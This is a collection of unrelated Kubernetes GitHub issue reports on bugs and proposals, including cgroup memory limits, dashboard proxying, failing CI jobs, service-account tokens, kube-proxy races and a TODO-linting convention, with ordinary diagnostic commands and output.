<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?   :\r qos/cgroup\r \r   is this a bug report or feature request?  :\r it's a bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r -->\r \r   kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1144+33c455271e586f\ , gitcommit:\ 33c455271e586f267f1d52272b32f69da729ae2a\ , gittreestate:\ clean\ , builddate:\ 2017-03-14t07:16:11z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1144+33c455271e586f\ , gitcommit:\ 33c455271e586f267f1d52272b32f69da729ae2a\ , gittreestate:\ clean\ , builddate:\ 2017-03-14t07:16:11z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : an all-in-one environment on aws\r -   os   : red hat enterprise linux server 7.3  maipo \r -   kernel   : 3.10.0-327.22.2.el7.x86_64\r -   install tools  : hack/local-up-cluster.sh\r \r \r   what happened  :\r i used the following method to calculate memory.limit_in_bytes for the burstable and besteffort qos level cgroups:\r \r     guaranteed limit matches root cgroup at is not set by this code\r     burstable limit is nodeallocatable - guaranteed reserve\r     besteffort limit is nodeallocatable - guaranteed reserve - burstable reserve\r \r compared the results with cgroup, i found in fact calculation for qos level cgroup is:\r burstable memory.limit_in_bytes =   nodecapacity   - { summation of memory requests of  guaranteed  pods   reservepercent / 100 }, not   nodeallocatable  \r \r \r   how to reproduce it    as minimally and precisely as possible :\r    \r 1. enable qos level cgroup  --cgroups-per-qos=true, --experimental-qos-reserved=memory=100% \r   ps aux | grep kubelet\r root     11888  0.0  0.0 193356  2800 pts/0    s+   06:19   0:00 sudo -e /data/src/kubernetes/_output/local/bin/linux/amd64/hyperkube kubelet --experimental-qos-reserved=memory=100% --enable-cri=true --v=3 --chaos-chance=0.0 --container-runtime=docker --rkt-path= --rkt-stage1-image= --hostname-override=127.0.0.1 --cloud-provider= --cloud-config= --address=127.0.0.1 --require-kubeconfig --kubeconfig /var/run/kubernetes/kubelet.kubeconfig --feature-gates=allalpha=true --cpu-cfs-quota=true --enable-controller-attach-detach=true --cgroups-per-qos=true --cgroup-driver=systemd --keep-terminated-pod-volumes=true --eviction-hard=memory.available<100mi --eviction-soft= --eviction-pressure-transition-period=1m --pod-manifest-path=/var/run/kubernetes/static-pods --cluster-dns=8.8.8.8 --port=10250\r root     11897  5.8  0.7 600364 61228 pts/0    sl+  06:19   0:00 /data/src/kubernetes/_output/local/bin/linux/amd64/hyperkube kubelet --experimental-qos-reserved=memory=100% --enable-cri=true --v=3 --chaos-chance=0.0 --container-runtime=docker --rkt-path= --rkt-stage1-image= --hostname-override=127.0.0.1 --cloud-provider= --cloud-config= --address=127.0.0.1 --require-kubeconfig --kubeconfig /var/run/kubernetes/kubelet.kubeconfig --feature-gates=allalpha=true --cpu-cfs-quota=true --enable-controller-attach-detach=true --cgroups-per-qos=true --cgroup-driver=systemd --keep-terminated-pod-volumes=true --eviction-hard=memory.available<100mi --eviction-soft= --eviction-pressure-transition-period=1m --pod-manifest-path=/var/run/kubernetes/static-pods --cluster-dns=8.8.8.8 --port=10250\r root     12435  0.0  0.0 112648   960 pts/2    s+   06:19   0:00 grep --color=auto kubelet\r \r 2. node description\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t2\r  memory:\t\t\t\t7747768ki\r  pods:\t\t\t\t\t110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t2\r  memory:\t\t\t\t7645368ki\r  pods:\t\t\t\t\t110\r system info:\r  machine id:\t\t\tf9370ed252a14f73b014c1301a9b6d1b\r  system uuid:\t\t\tec221954-173a-fa06-c46f-ec7839fe551a\r  boot id:\t\t\td1f9bbcb-82da-46d7-9f67-3ff471b22bef\r  kernel version:\t\t3.10.0-327.22.2.el7.x86_64\r  os image:\t\t\tred hat enterprise linux server 7.3  maipo \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.6\r  kubelet version:\t\tv1.7.0-alpha.0.1144+33c455271e586f\r  kube-proxy version:\t\tv1.7.0-alpha.0.1144+33c455271e586f\r externalid:\t\t\t127.0.0.1\r non-terminated pods:\t\t 6 in total \r   namespace\t\t\tname\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t------------\t----------\t---------------\t-------------\r   qwangkube\t\t\tpod-onecontainer-be\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   qwangkube\t\t\tpod-onecontainer-bu\t\t300m  15% \t400m  20% \t300mi  4% \t400mi  5% \r   qwangkube\t\t\tpod-onecontainer-g\t\t600m  30% \t600m  30% \t600mi  8% \t600mi  8% \r   qwangkube\t\t\tpod-twocontainers-be\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   qwangkube\t\t\tpod-twocontainers-bu\t\t50m  2% \t500m  25% \t50mi  0% \t500mi  6% \r   qwangkube\t\t\tpod-twocontainers-g\t\t300m  15% \t300m  15% \t300mi  4% \t300mi  4% \r \r   cat /sys/fs/cgroup/memory/kubepods.slice/kubepods-pod .slice/memory.limit_in_bytes \r 629145600         =600mi \r 314572800         =300mi \r \r   cat /sys/fs/cgroup/memory/kubepods.slice/kubepods-burstable.slice/memory.limit_in_bytes \r 6989996032           7747768ki- 629145600+314572800 =6989996032 \r \r   cat /sys/fs/cgroup/memory/kubepods.slice/kubepods-besteffort.slice/memory.limit_in_bytes \r 6622994432\r    \r \r   what you expected to happen  :\r \r given --experimental-qos-reserved=memory=100%\r    \r bu=7645368ki- 629145600+314572800  100%=6885138432\r   cat /sys/fs/cgroup/memory/kubepods.slice/kubepods-burstable.slice/memory.limit_in_bytes \r should be 6885138432\r \r be=6885138432- 50mi+300mi  100%=6518136832\r   cat /sys/fs/cgroup/memory/kubepods.slice/kubepods-besteffort.slice/memory.limit_in_bytes \r should be 6518136832\r    \r \r   anything else we need to know  :\r as document   pod-resource-management.md  https://github.com/derekwaynecarr/community/blob/5f8f6132dc9c62ed7ef86a0e437542099ecd2283/contributors/design-proposals/pod-resource-management.md  said,\r  besteffort memory.limit_in_bytes = burstable memory.limit_in_bytes - sum burstable pods  .containers  .resource.requests    , not limits.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : nope\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : i talked to the dashboard guys in kubernetes/dashboard 1858 and they suggested to open a bug for that.\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vmware running on my win10 laptop\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :  linux ubuntu 4.8.0-51-generic  54~16.04.1-ubuntu smp wed apr 26 16:00:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r -   install tools  : what does that mean? kubeadm?\r -   others  : what others?\r \r \r   what happened  :\r i started kubernetes-dashboard service as guided by their readme. then i used the shell command  kubectl proxy  which starts to serve on  localhost:8001 \r \r now when i open in a browser  localhost:8001/ui  it takes a loooong time, then it opens the following path  http://localhost:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy/  and gives my my network proxy's error message page. if i open  http://localhost:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/  then i get a json response from the api server. only with adding  proxy  this weird behaviour happens. but this is done by kube-proxy, afaik.\r \r \r   what you expected to happen  : that it would open the dashboard as provided by the kubernetes-service.\r \r \r   how to reproduce it    as minimally and precisely as possible : see \ what happened\ \r \r \r   anything else we need to know  : my laptop runs in my company's network which has a proxy at \ http://proxy:8080\ . in ubuntu  http_proxy ,  https_proxy , and the same in big letters, is set to this proxy. there is also an  no_proxy  environment var set to different things including  localhost  and  127.0.0.1 . all of these are set in  /etc/environment  and in  /etc/systemd/system/docker.service.d/http-proxy.conf  as   service    environment=  lines.\r \r

both kubeadm jobs from 1.7 branch are failing now:\r https://k8s-testgrid.appspot.com/release-1.7-blocking gce-kubeadm-1.7\r https://k8s-testgrid.appspot.com/release-1.7-blocking gce-kubeadm-1.6-on-1.7\r \r this is a result of broken pr submitted by @fejta in test-infra repo.\r \r those tests were supposed to be fixed by:\r https://github.com/kubernetes/test-infra/pull/3589 by @krzyzacy but apparently that didn't help.\r \r both suites are still failing to start with:\r    \r w0719 16:48:44.441  flag provided but not defined: -gcp-project\r w0719 16:48:44.441  usage of kubetest:\r    \r \r @k8s-mirror-cluster-lifecycle-bugs @luxas @kubernetes/test-infra-maintainers

failure cluster  781c0a9809255622ffed  https://go.k8s.io/triage 781c0a9809255622ffed        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:488 expected error:     < errors.statuserror | 0xc421564280>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ service \\\ dns-test-service-3\\\  is invalid: spec.clusterip: invalid value: \\\ 127.1.2.3\\\ : provided ip is not in the valid range\ ,             reason: \ invalid\ ,             details: {                 name: \ dns-test-service-3\ ,                 group: \ \ ,                 kind: \ service\ ,                 uid: \ \ ,                 causes:                       {                         type: \ fieldvalueinvalid\ ,                         message: \ invalid value: \\\ 127.1.2.3\\\ : provided ip is not in the valid range\ ,                         field: \ spec.clusterip\ ,                     },                  ,                 retryafterseconds: 0,             },             code: 422,         },     }     service \ dns-test-service-3\  is invalid: spec.clusterip: invalid value: \ 127.1.2.3\ : provided ip is not in the valid range not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:477           failure cluster statistics: 1 tests failed,    14 jobs failed,    70 builds failed. failure stats cover 1 day time range '16 sep 2017 20:11 utc' to '17 sep 2017 20:11 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  dns should provide dns for externalname services | 14 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-8-upgrade-cluster | 11 |  17 sep 2017 17:46 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-8-upgrade-cluster/533  | | ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-cluster | 11 |  17 sep 2017 17:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-cluster/257  | | ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-master | 10 |  17 sep 2017 18:20 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-master/1065  |  /assign @rmmh  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | rmmh |  k8s.io  dns should provide dns for externalname services | | sig/network |  k8s.io  dns should provide dns for externalname services |  </details><br>   current status  https://go.k8s.io/triage 781c0a9809255622ffed

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r   \r \r \r   what happened  :\r \r   what you expected to happen  :\r \r as https://github.com/kubernetes/kubernetes/pull/54625 say, \r \r > i still think both of them are useful for a couple of reasons:\r > the case that you described  a  is deleted and added with a different value  will not be resolved by not showing priorityclassname. imagine this scenario: user creates a pod with \ high-priority\  class name and the pod is resolved to 1000. admin changes the value of \ high-priority\  class from 1000 to 2000. now, user looks at his pod finds his pod to have 1000 value. he looks at the yaml/json/template that he created the pod from and sees that the  name was \ high-priority\ . he finds this inconsistent and thinks that there was a bug in the system. if we show \ priorityclassname\  in describe, at least the user will know that the  of the pod is the same as what he put in his config.\r > it is useful in most cases to know what is the  name of the pod.\r \r we print  priority  and  priorityclassname  when describe pod, but now the  controller only populate  pod, so the priorityclassname may be empty and it is strange for user.so we should also populate priorityclassname in  controller\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently we perform detach of a mounted volume if volume failed to umount within 6 minutes of time window. \r \r we have noticed that in certain cases - a stale device entry like \ /dev/xvdba\  is left in  /proc/mounts  if volume was force detached. when this happens, the device is not shown in  lsblk  output but just a stale entry is left in  /proc/mounts .\r \r if this happens, next attach on same device   /dev/xvdba   although works and new volume is mounted but this new volume can never be successfully umounted because mountref count will find more than one entry for device in mount table and it will not perform umount.\r \r   \r cc @kubernetes/sig-storage-bugs \r

passing  --show-labels  to the following  kubectl get  commands do not make a difference, because the printer is not the table printer:\r \r -  kubectl get pods -o=yaml --show-labels \r -  kubectl get pods -o=json --show-labels \r -  kubectl get pods -o=name --show-labels \r - ...\r \r current behavior is that the  --show-labels  simply doesn’t make a difference since it’s not applicable.\r \r in these cases, we must error out with a message like _“--show-labels option cannot be used with yaml printer”_.\r \r i think it’s sane to error out when usage of a flag is always going to be incompatible in the presence  or some values–  of certain flags.\r \r a caveat is that  --show-labels  is valid in the context of  -o=wide  or  -o=custom-columns=...  options.\r \r   version: kubectl v1.8.2

jan 22 22:15:31.659: couldn't delete ns: \ e2e-tests-statefulset-fg2hp\ : an error on the server  \ missing route  service \\\ sample-api\\\  not found \   has prevented the request from succeeding  get flunders.wardle.k8s.io   &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ , continue:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ missing route  service \\\\\\\ sample-api\\\\\\\  not found \\\   has prevented the request from succeeding  get flunders.wardle.k8s.io \ , reason:\ internalerror\ , details:  v1.statusdetails  0xc4216bc960 , code:500}}  \r \r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20776\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20777\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20775\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20774\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20772\r   ... a lot of them\r \r @kubernetes/sig-api-machinery-bugs \r /cc @cheftako

currently as authentication and authorization are both standard config for all clusters, the kubeapiserver insecure http handler is unsecure, which means the cluster is vulnerable to the attack.  so it should be deprecated, even removed totally. \r \r @deads2k @lavalamp @sttts @ncdc @liggitt \r \r \r

 \r   what happened  :\r running kubernetes on bare metal on nixos, i keep getting:\r  kube-addons 999 : wrn: == failed to start /opt/namespace.yaml in namespace  at 2018-06-11t09:06:02+00:00. 51 tries remaining. == \r \r   what you expected to happen  :\r i wonder why the path /opt/namespace.yaml is hardcoded in kube-addons.sh? is there a way that we can just add an optional env var to control the path of the system namespace manifest?\r like:\r  system_namespace_manifest_path=${system_namespace_manifest_path:-/opt/namespace.yaml} \r \r .. or even better, why not just inline the system namespace creation in kube-addons.sh and remove namespace.yaml? there is even a variable containing the system_namespace, which always has to be the same as what's in namespace.yaml, obviously.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the addon manager  not  in a container, and without https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/addon-manager/namespace.yaml located in /opt. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.10.3\r \r - os  e.g. from /etc/os-release :\r nixos 18.03\r

is this a bug report or feature request?  :\r  \r   what happened  :\r e2e tests which use rbd server image fail with    hostname: command not found\ /bootstrap.sh   \r \r   what you expected to happen  :\r these tests succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run e2e tests which use rbd server image.\r \r   anything else we need to know?  :\r  \r this issue is introduced by below commit:\r https://github.com/kubernetes/kubernetes/commit/f4caccccfe49bc1075842d18c84385ebbab6a9c7 diff-e5d0ceccff9054af3c69ac1b4d5930d2r18\r \r it change the base image from fedora 26 to fedora 28.\r in fedora 26, hostname command is installed as a dependency for     run yum install -y wget strace psmisc procps-ng ceph ceph-fuse && yum clean all     https://github.com/kubernetes/kubernetes/blob/master/test/images/volume/rbd/dockerfile l23 \r however, in fedora 28, it is not installed, as a result, this issue happens due to lack of hostname command.\r \r   environment  :\r - kubernetes version  use  kubectl version  : k8s 1.12 alpha\r

apiversion: v1\r kind: list\r items:\r   - apiversion: v1\r     kind: serviceaccount\r     metadata:\r       name: weave-net\r       labels:\r         name: weave-net\r       namespace: kube-system\r   - apiversion: rbac.authorization.k8s.io/v1beta1\r     kind: clusterrole\r     metadata:\r       name: weave-net\r       labels:\r         name: weave-net\r     rules:\r       - apigroups:\r           - ''\r         resources:\r           - pods\r           - namespaces\r           - nodes\r         verbs:\r           - get\r           - list\r           - watch\r       - apigroups:\r           - 'networking.k8s.io'\r         resources:\r           - networkpolicies\r         verbs:\r           - get\r           - list\r           - watch\r       - apigroups:\r         - ''\r         resources:\r         - nodes/status\r         verbs:\r         - patch\r         - update\r   - apiversion: rbac.authorization.k8s.io/v1beta1\r     kind: clusterrolebinding\r     metadata:\r       name: weave-net\r       labels:\r         name: weave-net\r     roleref:\r       kind: clusterrole\r       name: weave-net\r       apigroup: rbac.authorization.k8s.io\r     subjects:\r       - kind: serviceaccount\r         name: weave-net\r         namespace: kube-system\r   - apiversion: rbac.authorization.k8s.io/v1beta1\r     kind: role\r     metadata:\r       name: weave-net\r       namespace: kube-system\r       labels:\r         name: weave-net\r     rules:\r       - apigroups:\r           - ''\r         resources:\r           - configmaps\r         resourcenames:\r           - weave-net\r         verbs:\r           - get\r           - update\r       - apigroups:\r           - ''\r         resources:\r           - configmaps\r         verbs:\r           - create\r   - apiversion: rbac.authorization.k8s.io/v1beta1\r     kind: rolebinding\r     metadata:\r       name: weave-net\r       namespace: kube-system\r       labels:\r         name: weave-net\r     roleref:\r       kind: role\r       name: weave-net\r       apigroup: rbac.authorization.k8s.io\r     subjects:\r       - kind: serviceaccount\r         name: weave-net\r         namespace: kube-system\r   - apiversion: extensions/v1beta1\r     kind: daemonset\r     metadata:\r       name: weave-net\r       labels:\r         name: weave-net\r       namespace: kube-system\r     spec:\r         wait 5 seconds to let pod connect before rolling next pod\r       minreadyseconds: 5\r       template:\r         metadata:\r           labels:\r             name: weave-net\r         spec:\r           containers:\r             - name: weave\r               command:\r                 - /home/weave/launch.sh\r               env:\r                 - name: hostname\r                   valuefrom:\r                     fieldref:\r                       apiversion: v1\r                       fieldpath: spec.nodename\r               image: 'weaveworks/weave-kube:2.4.0'\r               livenessprobe:\r                 httpget:\r                   host: 127.0.0.1\r                   path: /status\r                   port: 6784\r                 initialdelayseconds: 30\r               resources:\r                 requests:\r                   cpu: 10m\r               securitycontext:\r                 privileged: true\r               volumemounts:\r                 - name: weavedb\r                   mountpath: /weavedb\r                 - name: cni-bin\r                   mountpath: /host/opt\r                 - name: cni-bin2\r                   mountpath: /host/home\r                 - name: cni-conf\r                   mountpath: /host/etc\r                 - name: dbus\r                   mountpath: /host/var/lib/dbus\r                 - name: lib-modules\r                   mountpath: /lib/modules\r                 - name: xtables-lock\r                   mountpath: /run/xtables.lock\r                   readonly: false\r             - name: weave-npc\r               env:\r                 - name: hostname\r                   valuefrom:\r                     fieldref:\r                       apiversion: v1\r                       fieldpath: spec.nodename\r               image: 'weaveworks/weave-npc:2.4.0'\r               resources:\r                 requests:\r                   cpu: 10m\r               securitycontext:\r                 privileged: true\r               volumemounts:\r                 - name: xtables-lock\r                   mountpath: /run/xtables.lock\r                   readonly: false\r           hostnetwork: true\r           hostpid: true\r           restartpolicy: always\r           securitycontext:\r             selinuxoptions: {}\r           serviceaccountname: weave-net\r           tolerations:\r             - effect: noschedule\r               operator: exists\r           volumes:\r             - name: weavedb\r               hostpath:\r                 path: /var/lib/weave\r             - name: cni-bin\r               hostpath:\r                 path: /opt\r             - name: cni-bin2\r               hostpath:\r                 path: /home\r             - name: cni-conf\r               hostpath:\r                 path: /etc\r             - name: dbus\r               hostpath:\r                 path: /var/lib/dbus\r             - name: lib-modules\r               hostpath:\r                 path: /lib/modules\r             - name: xtables-lock\r               hostpath:\r                 path: /run/xtables.lock\r       updatestrategy:\r         type: rollingupdate\r \r \r \r kubectl apply -f  weave-daemonset-k8s-1.7.yaml\r \r daemonset    report an error: error creating: no api token found for service account \ weave-net\ , retry after the token is automatically created and added to the service account\r \r kubectl describe sa weave-net -n kube-system  \r \r name:           weave-net\r namespace:      kube-system\r labels:         name=weave-net\r annotations:    kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ serviceaccount\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ name\ :\ weave-net\ },\ name\ :\ weave-net\ ,\ namespace\ :\ kube-system\ }}\r \r \r image pull secrets:     <none>\r \r mountable secrets:      <none>\r \r tokens:                 <none>\r \r \r there are no token values,so how will token values be generated??\r \r \r apiversion: v1\r kind: secret\r metadata:\r   name: weave-secret\r   namespace: kube-system\r   annotations:\r     kubernetes.io/service-account.name: weave-net\r type: kubernetes.io/service-account-token\r  data:\r    data-1: dmfsdwutmq0k\r    data-2: dmfsdwutmg0kdqo=\r ---\r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: weave-net\r   labels:\r   name: weave-net\r   namespace: kube-system\r secrets:\r - name: weave-secret\r \r \r i generated it manually\r \r \r \r  root@master k8s_tomcat   kubectl describe sa weave-net -n kube-system\r name:           weave-net\r namespace:      kube-system\r labels:         <none>\r annotations:    kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ serviceaccount\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :null,\ name\ :\ weave-net\ ,\ namespace\ :\ kube-system\ },\ secrets\ : {\ name\ :...\r \r image pull secrets:     <none>\r \r mountable secrets:      weave-secret\r \r tokens:                 <none>\r \r in this way, token is not generated,what the hell should i do???thinks!!

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r a network connection intended to be made in the namespace of kubernetes ingress controller was instead orphaned an left in the root namespace on a kubernetes node\r \r   what you expected to happen  :\r that the connection was made in the namespace of the ingress controller.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r you need a system making a regular connection via an ingress controller and the ingress gets restarted repeatedly.\r \r   anything else we need to know?  :\r \r the connection appears like this in the root namespace:\r \r    \r    netstat -np | grep 30011\r tcp6  2577936      0 10.33.225.36:30011      10.33.40.18:32808       established - \r    \r \r we think the race condition happens between kube proxy listening on the port,  a connection being opened and the kube-proxy setting up the iptables rules on a node running the ingress controller pod\r \r we think the problem is somewhere in this code:\r \r https://github.com/kubernetes/kubernetes/blob/e41d9f15530d5c5bd116c90a988c8245f0be7974/pkg/proxy/iptables/proxier.go l1391\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.8.7+coreos.0\r - cloud provider or hardware configuration:\r node provisioned from an openstack cluster \r - os  e.g. from /etc/os-release :\r container linux by coreos 1632.2.1\r - kernel  e.g.  uname -a  :\r 4.14.16-coreos\r \r

hi, i just started playing with kubernetes v1.1.1 on aws using the following config:      export kubernetes_provider=aws export kube_aws_zone=eu-west-1a export num_minions=1 export master_size=c4.large export minion_size=r3.large export aws_s3_region=eu-west-1 export aws_s3_bucket=xxx export kube_aws_instance_prefix=xxx      unfortunately the very first thing i encountered was that cluster monitoring addon was broken. apparently the heapster rc was missing. i found out that the  rc spec for heapster  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/cluster-monitoring/influxdb/heapster-controller.yaml l2  relies on  num_nodes  salt variable, which gets defined by  cluster/aws/templates/create-dynamic-salt-files.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/aws/templates/create-dynamic-salt-files.sh l43 , which on the other hand is invoked by the  k8s master start  user data  script  https://github.com/kubernetes/kubernetes/blob/master/cluster/aws/util.sh l876 . unfortunately the variable that  create-dynamic-salt-files.sh  relies on  num_minions  is not provided to the master start script, hence  num_nodes  gets no value  in fact it evaluates to none, which can be observed later on in salt logs .  i'll provide a patch for this issue but i haven't signed the cla yet, so feel free to fix this on your own.  btw, does anyone test kubernetes on aws regularly or at least just before a release is made? is aws support considered official/stable? i mostly use default configs and this is not the first time i encounter such a fundamental issue.

environment  : -   cloud provider or hardware configuration  : glusterfs  glusterfs dynamic provisioner doc does not carry information   examples/experimental/persistent-volume-provisioning/readme.md   about e2e configuration for getting it worked. there is no mention on how we can configure  heketi  and other details about the storage class parameters which provisioner takes.

this proposes a convention for todo statements in our codebase, and adding a linter to the presubmit checks that enforces adherence to this syntax.\r    rationale\r \r there are a lot of todos in our codebase.  git checkout upstream/master && git grep todo | wc -l  indicates  3971  todos. we have not consistently written todos in a way that makes them easy to track and delegate.\r    philosophy\r \r each todo should be associated with a github issue for tracking and delegation. the todo statement in the code should contain at minimum the issue number and a brief, one-line description of the work that needs to be completed. optionally, the inline todo can also include a date or k8s version by which the todo should be completed. this will allow us to track when todos are overdue.\r    syntax\r \r the proposed syntax is to have the word  todo , followed by a    , followed by an   <issue-number> , optionally followed by a  :mm/dd/yyyy   for an eta date  or a  :vx.x.x   for an eta version , followed by a   :   because unfinished business is   :  , followed by a brief one-line description of the work to be done. \r \r if more inline detail is required or considered useful, it should be provided in additional lines below the first. each of these additional lines should be four-spaces indented from the  todo 's alignment, so they line up with the     character after the  todo . the  todo  itself should be indented one space from the  //   meaning additional lines begin five spaces from the  //  .\r \r here is a succinct definition of the syntax:\r \r    \r // todo  <issue-number> :mm/dd/yyyy|:vx.x.x  : brief, one-line description of todo.\r  //     additional information if necessary \r    \r \r here is an example:\r \r    \r // todo  12345:v1.5.0 : brief, one-line description of todo.\r //     more lines if additional detail near code is helpful.\r //     these should be aligned with spaces after the  // .\r    \r    writing a good todo issue\r \r the issue title should be as similarly-titled to the todo description as possible, but we won't enforce anything because issue titles are mutable.\r \r questions you should always ask yourself: who, what, when, where, why, how.\r \r all of the following are useful bits of information to have:\r rationale for:\r - why this work can't be finished now.\r - what needs to be done in the future.\r - when it needs to be done.\r - who is responsible for doing it.\r - how it should probably be done.\r - link to the pr that introduced the todo.\r - link to the pr containing the completed work described in the todo.\r \r you might not necessarily _need_ to say all of these things, but you should at least think about them when writing the issue.\r    linting prs for correct todo syntax\r \r it is hard to get people to change how they write todos, or even get the word out that there is a new syntax. for this reason, we also ought to have a linter that runs as part of the presubmit checks on prs. \r \r to avoid penalizing people for all the non-compliant todos in files they happen to edit, we should only lint todos that show up in the diff for a pr. this doesn’t help if you end up moving a block of code with an existing but non-compliant todo in it. that is perhaps annoying, but it is also your opportunity to help improve k8s issue tracking : .\r \r @apelisse any suggestions on how to implement such a linter?\r    documenting this change\r \r it looks like the appropriate place to document this is probably in https://github.com/kubernetes/kubernetes/blob/master/docs/devel/coding-conventions.md. does that sound correct to everyone?\r

today we have two cases, where merging prs  which passed kubemark presubmit  broke kubemark-500 and kubemark-100. the prs were:\r https://github.com/kubernetes/kubernetes/pull/41378\r https://github.com/kubernetes/kubernetes/pull/41285\r \r in both cases we weren't able to start pods - one broke scheduler, the other broke hollow-kubelet.\r \r this should have been caught by our presubmit kubemark tests. but the problem is that the presubmit one is only starting a kubemark cluster and waiting for hollow-nodes to be ready  and not even starting a single pod .\r \r we should extend the test that is running in kubemark presubmit to start a simple 1-pod deployment and wait until it is running.\r \r @yujuhong @liggitt @kubernetes/sig-scalability-bugs

